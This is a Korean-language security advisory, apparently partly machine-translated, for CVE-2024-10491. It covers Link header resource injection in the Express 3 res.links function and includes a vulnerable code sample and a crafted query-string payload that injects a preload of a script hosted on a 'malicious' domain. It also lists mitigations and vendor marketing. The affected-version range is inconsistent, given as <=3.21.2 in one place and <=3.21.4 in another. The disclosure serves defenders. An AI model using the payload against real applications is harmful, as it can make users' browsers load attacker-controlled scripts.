개요
압축되지 않은 데이터를 사용할 때 링크 헤더에 임의의 리소스가 삽입될 수 있는 취약점이 Express response.links 함수에서 발견되었습니다.
The issue arises from improper sanitization in `Link` header values, which can allow a combination of characters like `,`, `;`, and `<>` to preload malicious resources.
이 취약점은 특히 동적 매개변수와 관련이 있습니다.
세부 정보
모듈 정보
- 제품: 제품: Express
- 영향을 받는 패키지: Express
- Affected versions: <=3.21.2
- GitHub 리포지토리: https://github.com/expressjs/express
- 게시된 패키지: https://www.npmjs.com/package/express
- 패키지 관리자: npm
재현 단계
- Express 애플리케이션을 만들고 쿼리 매개변수에서 값을 설정하도록 res.links를 구성합니다:
var express = require('express')
var app = express()
app.get('/', function (req, res) {
res.links({"preload": req.query.resource});
res.send('ok');
});
app.listen(3000);
- 특별히 제작된 페이로드를 사용하여 여러 링크 헤더를 설정합니다. 예를 들어
// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';
const url = `http://localhost:3000/${maliciousQueryParam}`;
fetch(url);
- 여러 헤더가 설정된 것을 확인할 수 있습니다:
<http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com>; rel="preload"
개념 증명
위와 유사한 코드가 포함된 전체 복제본은 여기에서 확인할 수 있습니다:
<source> resource injection vulnerability POC
크레딧
- Abze
완화
Express 프로젝트는 수명이 종료되었으며 이 문제를 해결하기 위한 업데이트가 제공되지 않습니다. 자세한 내용은 여기를 참조하세요.
영향을 받는 구성 요소의 사용자는 다음 완화 방법 중 하나를 적용해야 합니다:
- 영향을 받는 애플리케이션을 Express 3에서 멀리 마이그레이션하세요.
- 히어로데브즈와 같은 상용 지원 파트너를 활용하여 EOL 이후 보안 지원을 받으세요.
히어로데브의 최신 패치를 통해 시스템을 안전하게 보호하고 업데이트하세요. 더 많은 인사이트와 보안 업데이트를 확인하려면 블로그를 계속 팔로우하세요.
취약점 세부 정보
ID
CVE-2024-10491
영향을 받는 프로젝트
Express
영향을 받는 버전
<=3.21.4
게시 날짜
2024년 10월 29일
≈ 수정 날짜
2024년 10월 29일
다음에서 수정되었습니다.
심각도
Medium
카테고리
리소스 주입
알림 신청하기
저희가 지원하는 오픈 소스 소프트웨어에서 새로운 취약점이 수정될 때마다 알림을 받으세요.